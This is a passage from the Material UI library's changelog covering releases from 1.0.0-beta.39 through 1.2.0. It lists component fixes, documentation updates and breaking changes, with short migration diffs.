[Slider] Value can still be updated while disabled (#11744) @epodivilov\n\n## 1.2.0\n\n_Jun 3, 2018_\n\nA big thanks to the 23 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- Start upgrading the button component to match the new Material specification (#11497) @mbrookes.\n- Fix some regressions (#11614, #11689).\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [Snackbar] Add customization example (#11597) @mbrn\n- [Menu] Fix a regression on Edge (#11614) @oliviertassinari\n- [TextField] Replace underline content text with nbsp (#11617) @Jdubedition\n- [TextField] Fix grammar for docs (#11633) @RobBednark\n- [ListItem] Fix typings for ListItem (#11645) @franklixuefei\n- [Button] Add text and contained variants (#11497) @mbrookes\n- [Chip] Add `clickable` property (#11613) @vilvaathibanpb\n- [Popover] Add timeout prop to TransitionComponent (#11657) @C-Rodg\n- [styles] Better class name conflict warning (#11685) @oliviertassinari\n- [Grid] Better support for theme.props (#11688) @oliviertassinari\n- [ListItemText] Fix primary={0} display (#11686) @helfi92\n- [SwipeableDrawer] Fix a regression introduced in React 16.4.0 (#11689) @oliviertassinari\n- [RootRef] Allow using React.createRef api with RootRef component (#11681) @TrySound\n\n### Docs\n\n- [docs] Better API spread section (#11598) @oliviertassinari\n- [docs] Update Wertarbyte components link (#11603) @leMaik\n- [docs] Add a changelog page (#11604) @oliviertassinari\n- [docs] Keep the current version into account (#11595) @oliviertassinari\n- [ROADMAP] Update the roadmap (#11606) @oliviertassinari\n- [example] Fix missing brackets TypeScript (#11623) @Ilaiwi\n- [docs] Update overrides.md (#11630) @risafletcher\n- [docs] Styled API Example (5 lines) (#11620) @mssngr\n- [docs] Mention view port size in SVGIcon documentation (#11639) @JesusCrow\n- [docs] Update README for codemod (#11647) @sacdallago\n- [docs] Update link to flow-typed definitions (#11674) @jessrosenfield\n- [docs] Minor grammitcal error (#11691) @NeuTrix\n\n### Core\n\n- [typescript] Depend directly on CSSType (#11608) @pelotom\n- [core] Upgrade dependencies (#11616) @oliviertassinari\n- [typescript] createStyles and improved WithStyles helpers (#11609) @pelotom\n- [core] Add cross-env back (#11638) @lookfirst\n- [typescript] Fix keyof for TypeScript@2.9 (#11669) @mctep\n- [core] Some fixes looking into issues (#11676) @oliviertassinari\n- [core] Upgrade dependencies (#11684) @oliviertassinari\n\n#### Labs\n\n- [SpeedDial] Fix classes prop description (#11599) @mbrookes\n- [Slider] Misc fixes towards standard Material UI patterns (#11605) @mbrookes\n- [Slider] Fire the right event on mouseDown (#11642) @acroyear\n- [SpeedDial] Add type definitions to lab, so SpeedDial can be use with TypeScript project (#11542) @TR3MIC\n\n## 1.1.0\n\n_May 26, 2018_\n\nA big thanks to the 30 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- A smaller bundle, saved 5 kB gzipped (#11511, #11492, #11521, #11523) @TrySound\n- A new Slider component in the lab (#11040) @epodivilov.\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [ListSubheader] Fix demo import path (#11468) @Hocdoc\n- [Backdrop] Fix export paths (#11481) @brandonhall\n- [ListItem] Take the focusVisibleClassName property into account (#11451) @rdemirov\n- [Grid] Allow shrink in items so text will wrap by default (#11411) @ShaneMcX\n- [StepLabel] Allow StepIcon customization (#11446) @jargot\n- [StepConnector] Exposes the component (#11478) @racingrebel\n- [Tabs] Fix TabIndicatorProps merge (#11494) @adeelibr\n- [ButtonBase] Fix React propTypes buttonRef warning (#11519) @t49tran\n- [ListItemText] Shouldn't be a heading by default (#11544) @adeelibr\n- [GridListTileBar] Add missing title and subtitle keys (#11570) @ljani\n- [TableCell] Fix padding for last TableCell if checkbox (#11568) @gfpacheco\n- [Button][buttonbase] Take advantage of defaultProps for component prop (#11574) @cherniavskii\n- [StepConnector] Add to default export from @material-ui/core (#11583) @OsipovIgor\n- [ButtonBase] Improve enter & space handling (#11585) @TheBear44\n\n### Docs\n\n- [examples] Fix imports for Dialog (#11469) @sboles\n- [docs] Add v0 subdirectory redirects (#11470) @mbrookes\n- [docs] Remove trailing slash on progress-indicators link (#11473) @srt32\n- [docs] Add HSTS header (#11475) @mbrookes\n- [docs] Add missing word to documentation (#11476) @Skn0tt\n- [docs] Specify correct corner to locate directional toggle (#11479) @jacquesporveau\n- [examples] Fix create-react-app-with-jss theme object (#11485) @Dror88\n- [docs] Add Snippets Chrome extension to showcase (#11487) @richardscarrott\n- [docs] Fix hyphen for iOS (#11490) @mbrookes\n- [docs] Prevent content-type: application/octet-stream (#11501) @oliviertassinari\n- [docs] Add Customized Switches section (#11505) @mbrookes\n- [docs] Remove Firebase config file & deploy script (#11516) @mbrookes\n- [docs] Pull versions from github API (#11522) @mbrookes\n- [docs] Removed references to Grid's hidden property (#11529) @lfalke\n- [docs] Remove background grid from Typography variants demo (#11562) @mbrookes\n- [docs] Finish incomplete list-item-text.md documentation (#11559) @codeheroics\n- [docs] Add outlined buttons to ButtonSizes demo (#11509) @mbrookes\n- [docs] Add a Troubleshooting section for SSR (#11579) @oliviertassinari\n- [docs] Fix a little typo in TypeScript docs (#11580) @saculbr\n- [docs] Add react-admin to related projects (#11582) @fzaninotto\n- [docs] Update the showcase (#11578) @mbrookes\n\n### Core\n\n- [typescript] Make TypographyStyle assignable to CSSProperties, misc other typing fixes (#11456) @pelotom\n- [core] Cut the head of the snake 🐍 (#11477) @oliviertassinari\n- [core] Add esm bundle to start tracking treeshakability (#11489) @TrySound\n- [core] More aggressive transpilation (#11492) @oliviertassinari\n- [core] Enable loose mode for staged features (#11511) @TrySound\n- [core] Simplify the babel docs config (#11514) @oliviertassinari\n- [core] Remove lodash 💃 (#11521) @oliviertassinari\n- [core] Internalize ScrollbarSize (#11523) @oliviertassinari\n- [typescript] Add sample with return types (#11512) @yacut\n\n#### Labs\n\n- [SpeedDial] Clean up SpeedDialIcon transition (#11513) @mbrookes\n- [Slider] Port component (#11040) @epodivilov\n\n## 1.0.0\n\n_May 17, 2018_\n\nOur first stable v1 release! 🎉\n\nIt has taken us two years to do it, but Material UI v1 has finally arrived!\nWe are so excited about this release, as it's setting a new course for the project. Thank you to _everyone_, especially to [the team](https://mui.com/material-ui/discover-more/team/), and to everyone who's contributed code, issue triage, and support. **Thank you**.\n\nSome statistics with v1 while it was in alpha and beta:\n\n- 304 contributors\n- 2390 commits\n- From 0 downloads/month to 300k downloads/month\n- From 0 users/month to 90k users/month\n\n## 1.0.0-rc.1\n\n_May 15, 2018_\n\nA big thanks to the 10 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- Thanks for trying out v1.0.0-rc.0! This release focus on fixing the reported bugs 🐛.\n- Great focus on the performance (#11358, #11360, #11364) @goto-bus-stop, @TrySound\n  We will have more time to work on that topic post v1.\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [codemod] Revert the codemod inception on the tests (#11376) @oliviertassinari\n- [typescript] Fix DialogContent export (#11378) @ljvanschie\n- [Dialog] Fix content export (#11393) @stefensuhat\n- [icons] Remove deadcode (#11400) @oliviertassinari\n- [NativeSelect] New component (#11364) @oliviertassinari\n- [Popover] Fix max height issue in some mobile browsers (#11349) @gaborcs\n\n### Docs\n\n- [docs] Update notifications for v1.0.0-rc.0 (#11351) @simsim0709\n- [Snackbar] Fix transition directions demo (#11391) @serendipity1004\n- [docs] Remove react@15 message (#11399) @deltaskelta\n- [docs] Better netlify cache control (#11404) @oliviertassinari\n\n### Core\n\n- [core] Do not include polyfills in the ES modules build (#11358) @goto-bus-stop\n- [core] Workaround a Babel regression (#11398) @oliviertassinari\n- [core] Fix size-limit for the new Next path (#11401) @oliviertassinari\n- [core] Require node >=8.0.0 to work on the project (#11407) @netdeamon\n- [core] Bundle UMD with rollup (#11360) @TrySound\n\n## 0.20.1\n\n_May 13, 2018_\n\nA big thanks to the 14 contributors who made this release possible.\n\n### Component Fixes / Enhancements\n\n- [Tabs] Add support for inline style override for parent container of InkBar (#9598) @PharaohMaster\n- Popover does not listen to events unless it is open at the moment (#9482) @romanzenka\n- [EnhancedButton] Fix onClick event being fired twice on \"Enter Key\" press (#9439) @karaggeorge\n- [Slider] Fix handle case where ref is null (#10006) @jony89\n- [RaisedButton] Conditionally apply overlay backgroundColor (#9811) @walwoodr\n- [Snackbar] Static properties for reason string constants (#10300) @RavenHursT\n- [TextField] Fix caret position issue (#10214) @MaratFaskhiev\n- Add sideEffects: false for webpack 4 (#11167) @matthoffner\n\n### Docs\n\n- [docs] Adding smpl to showcase (#9386) @Bonitis\n- [docs] Remove HEAD in versions list (#9391) @HZooly\n- Add Governance Document (#9423) @hai-cea\n- [docs] Add v1 recommendation to home page (#9727) @mbrookes\n- [docs] Remove BrainBOK from showcase (#11292) @brainbok\n\n## 1.0.0-rc.0\n\n_May 13, 2018_\n\nA big thanks to the 11 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- Introduce the last planned breaking changes before stable v1\n\n### Breaking change\n\n- [core] Move material-ui to @material-ui/core (#11310) @oliviertassinari\n\n```diff\n-import { withStyles } from 'material-ui/styles';\n+import { withStyles } from '@material-ui/core/styles';\n```\n\n- [core] Flatten the import path (#11330) @oliviertassinari\n\n#### Motivation\n\n1. It's a simple pattern to learn. You won't need to go back and forth in the documentation to learn the import paths 💭.\n2. Your application bundle size will decrease 🚀.\n3. In an ideal world, we would import everything from the root module and tree sharking would be taken care of for us. This change doesn't matter in this world ☮️.\n\n```jsx\nimport { Table, TableBody, TableCell, TableFooter, TablePagination, TableRow } from 'material-ui';\n```\n\n#### The diff\n\n```diff\n-import CircularProgress from '@material-ui/core/Progress/CircularProgress';\n+import CircularProgress from '@material-ui/core/CircularProgress';\n```\n\n```diff\n-import { ListItem } from '@material-ui/core/List';\n+import ListItem from '@material-ui/core/ListItem';\n```\n\n#### Upgrade path\n\nWe provide a codemod to automate the migration: https://github.com/mui/material-ui/tree/master/packages/material-ui-codemod#import-path. I have used it to upgrade all the demos in the documentation :).\n\n- [core] Require React 16.3.0 or greater (#11347, #11361) @oliviertassinari\n- [Grid] Remove the hidden property (#11348) @oliviertassinari\n\nSplit the responsibilities between the different components. Help with tree-shaking.\n\n```diff\n-        <Grid item xs hidden={{ xlUp: true }}>\n-          <Paper>xlUp</Paper>\n-        </Grid>\n+        <Hidden xlUp>\n+          <Grid item xs>\n+            <Paper>xlUp</Paper>\n+          </Grid>\n+        </Hidden>\n```\n\n- [TextField] change underline approach to prevent browser zoom issue (#11181) @Jdubedition\n\nThe text underline color customization change:\n\n```diff\n   underline: {\n     '&::after': {\n-      backgroundColor: purple[500],\n+      borderBottomColor: purple[500],\n     },\n   },\n```\n\n### Component Fixes / Enhancements\n\n- [CircularProgress] Add transition for static variant (#11313) @oliviertassinari\n- [createTypography] Add primary text color to 'button' typography variant (#11322) @ValentineStone\n- [styles] Fix typings for FontStyle (#11326) @vkentta\n- [Grid] Add 32px gutter to grid spacing (#11338) @abnersajr\n- [Button] Add outlined variant (#11346) @leMaik\n\n### Docs\n\n- [docs] v0 redirect (#11303) @mbrookes\n- [docs] Add a new premium-theme (#11300) @oliviertassinari\n- [docs] Prepare the v1 release (#11317) @oliviertassinari\n- [docs] Add HIJUP.com to the showcase site (#11328) @fikriauliya\n- [docs] Update material.io URLs (#11334) @mbrookes\n- [docs] Make the button examples consistent (#11352) @mbrookes\n- [docs] Eradicate 'Useful to' (#11353) @mbrookes\n- [docs] Move v1-beta to master (#11354) @oliviertassinari\n- [docs] Install with yarn (#11357) @Xakher\n\n### Core\n\n- [typescript] Add CreateMuiTheme props TypeScript definition (#11296) @abnersajr\n- [typescript] Fix color type in augmentColor function (#11302) @AiusDa\n- Make WithStylesOptions extend the options argument of createStyleSheet (#11325) @pelotom\n- [core] Update the dev dependencies (#11355) @oliviertassinari\n\n## 1.0.0-beta.47\n\n_May 9, 2018_\n\nA big thanks to the 4 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- Fix an important regression (Babel upgrade)\n\n### Breaking change\n\n- [typescript] Fix withStyles edge cases (#11280) @pelotom\n\nIf you are using TypeScript, 2.8 or later is required.\n\n### Component Fixes / Enhancements\n\n- [withStyles] Support createRef() (#11293) @rolandjitsu\n- [InputLabel] Remove the width style property (#11297) @C-Rodg\n\n### Docs\n\nN/A\n\n### Core\n\n- [core] Add @babel/runtime as a dependency (#11298) @oliviertassinari\n\n## 1.0.0-beta.46\n\n_May 8, 2018_\n\nA big thanks to the 7 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- Fix an important regression (npm dependency)\n\n### Breaking change\n\nN/A\n\n### Component Fixes / Enhancements\n\n- [Table] Add table-footer-group CSS (#11264) @t49tran\n- [ButtonBase] Add a focusVisible action (#9712) @tkvw\n- [ButtonBase] Better performance (#11277) @oliviertassinari\n- [Tabs] Add a TabIndicatorProps property (#11254) @adeelibr\n\n### Docs\n\n- [docs] Improve the table examples' accessibility (#11256) @mbrookes\n- [docs] Add Pilcro to showcase apps (#11274) @hugowoodhead\n\n### Core\n\n- [typescript] Fix type definitions for Snackbar and CircularProgress (#11265) @franklixuefei\n- [core] Upgrade Babel 6 to Babel 7 (#10964) @oliviertassinari\n- [core] npm shouldn't be a dependency (#11263) @oliviertassinari\n\n## 1.0.0-beta.45\n\n_May 6, 2018_\n\nA big thanks to the 12 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- A release date. We will release Material UI v1 May 17th.\n- Improve the performance of withStyles by adding memoization (#11202) @CharlesStover.\n- Standardization of the component injection pattern (#11204) @oliviertassinari\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [core] Standardize the component injection pattern (#11204) @oliviertassinari\n\nI couldn't find a clean way to support the render props pattern.\nDoing such would require to greatly reduce the usage of JSX.\nIt would really harm source code readability.\n\nInstead, I have been focusing on standardizing our component injection story.\nThis way, we can go back to the render props after stable v1 is released and see if source code readability worth be sacrificed for the render prop pattern.\n\n```diff\n<Tabs\n- TabScrollButton={TabScrollButtonWrapped}\n+ ScrollButtonComponent={TabScrollButtonWrapped}\n```\n\n```diff\n<TablePagination\n- Actions={TablePaginationActionsWrapped}\n+ ActionsComponent={TablePaginationActionsWrapped}\n```\n\n```diff\n<Dialog\n- transition={Transition}\n+ TransitionComponent={Transition}\n```\n\n```diff\n<Menu\n- transition={Transition}\n+ TransitionComponent={Transition}\n```\n\n```diff\n<Snackbar\n- transition={Transition}\n+ TransitionComponent={Transition}\n```\n\n```diff\n<Popover\n- transition={Transition}\n+ TransitionComponent={Transition}\n```\n\n```diff\n<StepContent\n- transition={Transition}\n+ TransitionComponent={Transition}\n```\n\n- [Snackbar] Rename SnackbarContentProps (#11203) @oliviertassinari\n\nThis change is for consistency with the other components. No need to repeat the component name in the property.\n\n```diff\n       <Snackbar\n-        SnackbarContentProps={{ 'aria-describedby': 'notification-message' }}\n+        ContentProps={{ 'aria-describedby': 'notification-message' }}\n```\n\n- [CircularProgress] Remove min & max props (#11211) @mbrookes\n\nMakes the API consistent with LinearProgress\n\n```diff\n<CircularProgress\n- min={10}\n- max={20}\n- value={15}\n+ value={(15 - 10) / (20 - 10) * 100}\n/>\n```\n\n- [ButtonBase] Complete the focusVisible rename (#11188) @oliviertassinari\n\nThe rename started with #11090. I should have taken the time to complete it in the first place. This way, we are fully consistent with the spec: https://drafts.csswg.org/selectors-4/#the-focus-visible-pseudo :)\n\n```diff\n<ButtonBase\n- onKeyboardFocus={this.handleVisible}\n+ onFocusVisible={this.handleVisible}\n```\n\n### Component Fixes / Enhancements\n\n- [ButtonBase] Update TypeScript to sync with the implementation (#11189) @franklixuefei\n- [styles] Simpler outline reset (#11199) @oliviertassinari\n- [Transition] Add a TransitionProps (#11201) @oliviertassinari\n- [TablePagination] Allow the MenuItem customization (#11200) @oliviertassinari\n- [ListItemIcon] Take advantage of CSS inheritance (#11206) @xiaoyu-tamu\n- [StepButton] Allow null to be assigned to icon prop (#11221) @franklixuefei\n- [TextField] Increase shrunk label width to match 100% input width (#11215) @pandaiolo\n- [Select] Add IconComponent property (#11136) @sepehr1313\n- [withStyles] Memoization the classes property (#11202) @CharlesStover\n- [NProgress] Better RTL support and closer to YouTube version (#11246) @oliviertassinari\n- [Stepper] Swipeable demo integration (#11241) @Klynger\n- [codemod] Prepare the import path breaking change (#11249) @oliviertassinari\n- [codemod] Support the private and direct imports (#11253) @oliviertassinari\n- [Table] Fix TypeScript classes support (#11255) @t49tran\n\n### Docs\n\n- [docs] Fix typo in comparison.md (#11185) @morleytatro\n- [docs] Fix dark theme display (#11194) @oliviertassinari\n- [example] Revert wrong change (#11195) @oliviertassinari\n- [docs] Improve server-rendering, replace render by hydrate (#11210) @Mystraht\n- [docs] Update notification (#11213) @simsim0709\n- [docs] Clarify the difference with enzyme (#11228) @oliviertassinari\n- [docs] Add a note on the override of internal states (#11227) @oliviertassinari\n- [docs] Misc fixes (#11239) @mbrookes\n- [docs] Document the theme.props feature (#11245) @oliviertassinari\n- [docs] Speedup a bit the homepage (#11248) @oliviertassinari\n\n### Core\n\n- [test] Fix the CI (#11187) @oliviertassinari\n- [core] Update dependencies (#11240) @oliviertassinari\n\n## 1.0.0-beta.44\n\n_Apr 29, 2018_\n\nA big thanks to the 17 contributors who made this release possible.\n\n### Breaking change\n\n- [CardMedia] Escape background image url (#11126) @Bennit\n\nAs long as you are providing a valid URL to `<CardMedia image />`, it should be working. However, previously `\"` escaped URL will no longer work.\n\n### Component Fixes / Enhancements\n\n- [SwipeableDrawer] Prevent interaction with the drawer content if not opened (#11091) @leMaik\n- [Icon] Prevent shrinking when inside a flex container (#11097) @ValentinH\n- [Grid] Fix TypeScript definitions of class keys (#11102) @nmchaves\n- [Portal] Revert \"Global option to disable the portal\" (#11116) @oliviertassinari\n- [ButtonBase] Simpler global focus visible style override (#11130) @oliviertassinari\n- [Modal] Prevent IE11 from crashing on modal close (#11115) @JonAbrams\n- [Input] Fix infinite rendering loop (#11159) @oliviertassinari\n- [lab] Fix the tests (#11160) @oliviertassinari\n- [Snackbar] Add a consecutive demo (#11111) @simoami\n- [Tabs] Better Ant Design demo (#11095) @theiliad\n- [Popover] Improve the demos (#11175) @oliviertassinari\n\n### Docs\n\n- [docs] Add npm-registry-browser into showcase (#11114) @topheman\n- [docs] Fix the flow example (#11118) @prastut\n- [docs] Add showcase for Local Insights (#11131) @hrdymchl\n- [docs] Add iOS momentum scrolling (#11140) @cherniavskii\n- [docs] Add a CSS Modules example (#11171) @oliviertassinari\n- [docs] Fix typo in themes.md (#11149) @zhuangya\n- [docs] Make sure next@6 is working (#11168) @oliviertassinari\n- [docs] Correct spelling error in FormDialog.js example (#11176) @weldon0405\n\n### Core\n\n- [core] Reduce the size of the npm package (#11144) @oliviertassinari\n- [typescript] allow pseudos on any theme mixins (#11145) @rosskevin\n- [core] Upgrade dev dependencies (#11146) @oliviertassinari\n- [styles] Fix constraint on withStyles P parameter to allow StyledComponentProps (#11156) @pelotom\n\n## 1.0.0-beta.43\n\n_Apr 22, 2018_\n\nA big thanks to the 8 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- A better keyboard focused customization story (#11090) @oliviertassinari\n- Various TypeScript fixes\n\n### Breaking change\n\n- [ButtonBase] Better keyboard focused story (#11090) @oliviertassinari\n  - Rename the `keyboardFocused` feature `focusVisible` in order to follow the CSS specification wording:\n    https://drafts.csswg.org/selectors-4/#the-focus-visible-pseudo\n  - Give up on the `classes` property to host the focus visible feature. The fact that the classes don't cascade was making it hard to use. Instead, we rely on a `focusVisibleClassName` property. This is allowing any component along the rendering chain to use the feature. For instance, a Switch component: Switch > SwitchBase > IconButton > ButtonBase.\n\n  ```diff\n  <ButtonBase\n  - classes={{\n  -   keyboardFocused: 'my-class-name',\n  - }}\n  + focusVisibleClassName=\"my-class-name\"\n  />\n  ```\n\n### Component Fixes / Enhancements\n\n- [typescript] Constrain props type param appropriately in withStyles, withTheme, withWidth HOCs (#11003) @estaub\n- [typescript] make Select's onChange prop optional (#11041) @nmchaves\n- [Table] Remove overflow (#11062) @oliviertassinari\n- [TablePagination] Allow the override of the action buttons (#11058) @lukePeavey\n- [Popover] Add option to disable Menu auto positioning (#11050) @nicoffee\n- [Input] Allow div props on InputAdornment in TypeScript (#11077) @mtandersson\n- [Dialog] Fix iOS momentum scroll (#11066) @greenwombat\n- [Portal] Global option to disable the portal (#11086) @oliviertassinari\n- [ExpansionPanel] Fix display on IE11 and Edge (#11087) @oliviertassinari\n- [CardActions] Fix CSS override (#11092) @oliviertassinari\n\n### Docs\n\n- [docs] Fix broken link (#11042) @imrobinized\n- [CONTRIBUTING] Update the docs (#11078) @oliviertassinari\n\n### Core\n\n- [core] Better distinction between the private and public components (#11051) @oliviertassinari\n- [core] Upgrade dev dependencies (#11096) @oliviertassinari\n\n## 1.0.0-beta.42\n\n_Apr 16, 2018_\n\nA big thanks to the 15 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- A better CSS override story (#10961) @oliviertassinari\n- Strongly typed React.CSSProperties TypeScript definitions (#11007) @pelotom\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [styles] Change the CSS specificity (#10961) @oliviertassinari\n\nThis breaking change is important. It might be the most painful to recover from before stable v1 (May 17th 2018).\nWe have changed the CSS specificity rule to solve #10771 at scale.\n\nIt's inspired by the Bootstrap approach to writing CSS. It follows two rules:\n\n1. A variant has **one level of specificity**.\n   For instance, the `color` and `variant` properties are considered a variant.\n   The lower the style specificity is, the simpler you can override it.\n2. We increase the specificity for a variant modifier.\n   We already **have to do** it for the pseudo-classes (`:hover`, `:focus`, etc.).\n   It allows much more control at the cost of more boilerplate.\n   Hopefully, it's more intuitive.\n\nExample:\n\n```diff\nconst styles = {\n-  checked: {\n-    color: green[500],\n+  root: {\n+    color: green[600],\n+    '&$checked': {\n+      color: green[500],\n+    },\n   },\n+  checked: {},\n};\n\n<Checkbox\n  classes={{\n+   root: classes.root,\n    checked: classes.checked,\n  }}\n/>\n```\n\n### Component Fixes / Enhancements\n\n- [lab] No side effect (7c379fa7ba4ed2a3eb8abc841a9a4376014b6145) @oliviertassinari\n- [Card] Hide overflow to maintain round corners with CardMedia (#10946) @mbrookes\n- [ButtonBase] More robust button keyboard accessibility (#10965) @oliviertassinari\n- [Tooltip] Remove title from chldrenProps (#10977) @mbrookes\n- [theme] Expose augmentColor for colors outside the palette (#10985) @AiusDa\n- [Select] Update onChange props definition to match with SelectInput (#11012) @t49tran\n- [lab] Bump version for @material-ui/icons dependency (#10992) @mbrookes\n- [Drawer] Improve the \"Mini variant drawer\" demo (#11010) @andriyor\n- [Step] Remove private modules from the export (#11020) @oliviertassinari\n- [Grid] Update propTypes to accept false (#11022) @oliviertassinari\n- [Chip] only transition the CSS properties we need (#11023) @oliviertassinari\n- [CssBaseline] Add key to theme overrides type definition (#11025) @roosmaa\n- [Tabs] Add a customization demo (#10999) @cherniavskii\n- [theme] Use a single theme variable for the hover effects of Button, IconButton and ListItem (#10952) @SebastianSchmidt\n- [Dialog] Fix BackdropProps propagation (#11029) @sepehr1313\n- [ButtonBase] Fix wrong touchMove wiring (#11026) @mbrookes\n- [SwipeableDrawer] Simplify isSwiping logic (#11032) @leMaik\n- [SwipeableDrawer] Add a blocking div to the edge of the screen (#11031) @leMaik\n\n### Docs\n\n- [docs] Fix typo (#10990) @jleeohsu\n- [docs] Better private/public API description (#11024) @oliviertassinari\n- [Collapse] Fix typo in comment (#11035) @mknet\n\n### Core\n\n- [core] Add fallback to ownerWindow (#10978) @richardscarrott\n- [typescript] Remove unnecessary Partial<> for `style` prop (#10994) @franklixuefei\n- [core] Export all the style modules (#11021) @oliviertassinari\n- [typescript] Upgrade types, use string index fallback for CSSProperties to allow nested pseudos (#11007) @pelotom\n- [core] Upgrade the dependencies (#11030) @oliviertassinari\n- [core] Move to the packages structure (#11033) @oliviertassinari\n\n## 1.0.0-beta.41\n\n_Apr 7, 2018_\n\nA big thanks to the 14 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- An icon package ready for v1 stable (#10902, #10933, #10957).\n- An important focus on the documentation.\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- Move the icon package from `material-ui-icons` to `@material-ui/icons` (#10957) @oliviertassinari\n\n```diff\n-import FormatTextdirectionRToL from 'material-ui-icons/FormatTextdirectionRToL';\n+import FormatTextdirectionRToL from '@material-ui/icons/FormatTextdirectionRToL';\n```\n\n### Component Fixes / Enhancements\n\n- [icons] Reduce code duplication (#10902) @cherniavskii\n- [icons] Check if `global` is defined before trying to use it (#10933) @joliss\n- [Table] Fix EnhancedTable example to not scroll TablePagination (#10878) @mbrookes\n- [Zoom] Export Zoom in the TypeScript definitions (#10897) @Klynger\n- [IconButton] Add hover effect to IconButton (#10871) @SebastianSchmidt\n- [TextField] Add an icon example (#10899) @oliviertassinari\n- [SwipeableDrawer] Disable swiping on iOS by default (#10877) @leMaik\n- [SwipeableDrawer] Fix crash when swiping during an update (#10906) @leMaik\n- [ListItemText] Fix invalid ListItemText 'children' proptype (#10948) @kendallroth\n- [BottomNavigationAction] Use default childIndex value only if value undefined (#10937) @peterbartos\n- [styles] Add a warning to prevent a memory leak (#10953) @oliviertassinari\n- [Select] Fix width update (#10956) @oliviertassinari\n\n### Docs\n\n- [docs] Add hideHeader option to Demo component (#10887) @mbrookes\n- [docs] Document the /es folder (#10888) @oliviertassinari\n- [docs] More transparent exportPathMap method (#10894) @oliviertassinari\n- [docs] Dodge issue with hoist-non-react-statics (#10896) @oliviertassinari\n- [docs] Add missing apostrophe (#10911) @davidgilbertson\n- [docs] Improve the search experience (#10905) @oliviertassinari\n- [docs] Improve the layout for premium themes (#10901) @mbrookes\n- [docs] Fix example in TypeScript docs (#10924) @piotros\n- [docs] Atomic state update in the Stepper demo (#10936) @iceveda06\n- [docs] Add versions page (#10883) @mbrookes\n- [docs] Fix npm urls (#10949) @sujeetkrjaiswal\n- [docs] Add \"Do I have to use JSS?\" to FAQ (#10954) @mbrookes\n\n### Core\n\n- [typescript] Upgrade React and JSS typings, which both make use of csstype now (#10903) @pelotom\n\n## 1.0.0-beta.40\n\n_Apr 1, 2018_\n\nA big thanks to the 4 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- React 16.3.0 support (#10867).\n- Many bug fixes on the Tooltip component (#10843) @shssoichiro.\n- A much better navigation experience on the docs (#10859).\n\n### Breaking change\n\n- [Tooltip] Portal the component to the body (#10843) @shssoichiro\n\nWe take advantage of the latest features of React 16.x.\nReact is allowing us to return an array of elements in the render method.\nWe have removed the useless root `div` element.\nNothing has changed for people using React 15.x.\n\n### Component Fixes / Enhancements\n\n- [FormControlLabel] Enable disabled label CSS modifications (#10841) @vkentta\n- [Select] Throw when the non native select is not controlled (#10860) @oliviertassinari\n- [Drawer] Back to 100% test coverage (#10861) @oliviertassinari\n- [core] Work on React 16.3.0 support (#10867) @oliviertassinari\n\n### Docs\n\n- [docs] typo: reponse => response (#10850) @luminaxster\n- [docs] Remove dead code (#10855) @oliviertassinari\n- [docs] Much better navigation experience (#10859) @oliviertassinari\n- [examples] Demonstrate how to use the icons CDN (#10874) @oliviertassinari\n\n### Core\n\n- [core] Remove the addEventListener module (#10856) @oliviertassinari\n- [core] Upgrade the dependencies (#10853) @oliviertassinari\n- [core] Rename .spec.js to .test.js (#10854) @oliviertassinari\n\n## 1.0.0-beta.39\n\n_Mar 28, 2018_\n\nA big thanks to the 25 contributors who made this release possible.\n\nHere are some highlights ✨:\n\n- Add a [swipeable drawer](https://mui.com/demos/drawers/#swipeable-temporary-drawer) component (#9730) @leMaik.\n- Add a [StackBlitz](https://stackblitz.com/) edit link (#10758).\n- Add a new npm package: [@material-ui/docs](https://www.npmjs.com/package/@material-ui/docs) (#10699).\n- And many more bug fixes and documentation improvements.\n\n### Breaking change\n\n- [Grid] Change the default spacing value: 0 (#10768) @oliviertassinari\n\nThe negative margin implementation solution currently used comes with [serious limitations](https://mui.com/components/grid/#negative-margin).\nMaterial UI is the only library with a non-zero default spacing between the items.\nHaving zero spacing by default will ease the usage of the component.\n\n```diff\n-<Grid />\n+<Grid spacing={16} />\n```\n\n- [Tooltip] Rename disableTriggerX (#10700) @oliviertassinari\n\nFor consistency with the [removeEventListener Web API](https://developer.mozilla.org/en-US/docs/Web/API/EventTarget/removeEventListener) and the Snackbar `disableWindowBlurListener` property.\n\n```diff\n<Tooltip\n- disableTriggerFocus\n- disableTriggerHover\n- disableTriggerTouch\n+ disableFocusListener\n+ disableHoverListener\n+ disableTouchListener\n/>\n```\n\n- [InputLabel] Rename FormControlClasses property (#10796) @oliviertassinari\n\nI have made a mistake in [#8108](https://github.com/mui/material-ui/pull/8108). The property isn't applied on a `FormControl` but on a `FormLabel` component.\n\n```diff\n-<InputLabel FormControlClasses={classes} />\n+<InputLabel FormLabelClasses={classes} />\n```\n\n### Component Fixes / Enhancements\n\n- [Switch] Add missing TypeScript class keys (#10691) @wenduzer\n- [ClickAwayListener] Add mouseEvent and touchEvent property (#10694) @tgrowden\n- [Switch] Add default color (#10697) @oliviertassinari\n- [StepButton] Support vertical stepper (#10698) @danieljuhl\n- [TextField] Update defaultValue prop types (#10703) @moondef\n- [Input] Rename isDirty to isEmpty (#10704) @oliviertassinari\n- [Select] Perform the layout computation as soon as possible (#10706) @oliviertassinari\n- [Stepper] Add error prop to StepIcon and StepLabel (#10705) @nicoffee\n- [Grid] Add zeroMinWidth to TypeScript definition (#10712) @cvanem\n- [Select] Fix data-value value (#10723) @a-x-\n- [Tooltip] Update error message (#10742) @MoonDawg92\n- [TextField] Apply onFocus and onBlur on the input (#10746) @oliviertassinari\n- [TextField] Remove dead code (#10757) @oliviertassinari\n- [Checkbox] Add checkedPrimary and checkedSecondary to TypeScript definition (#10747) 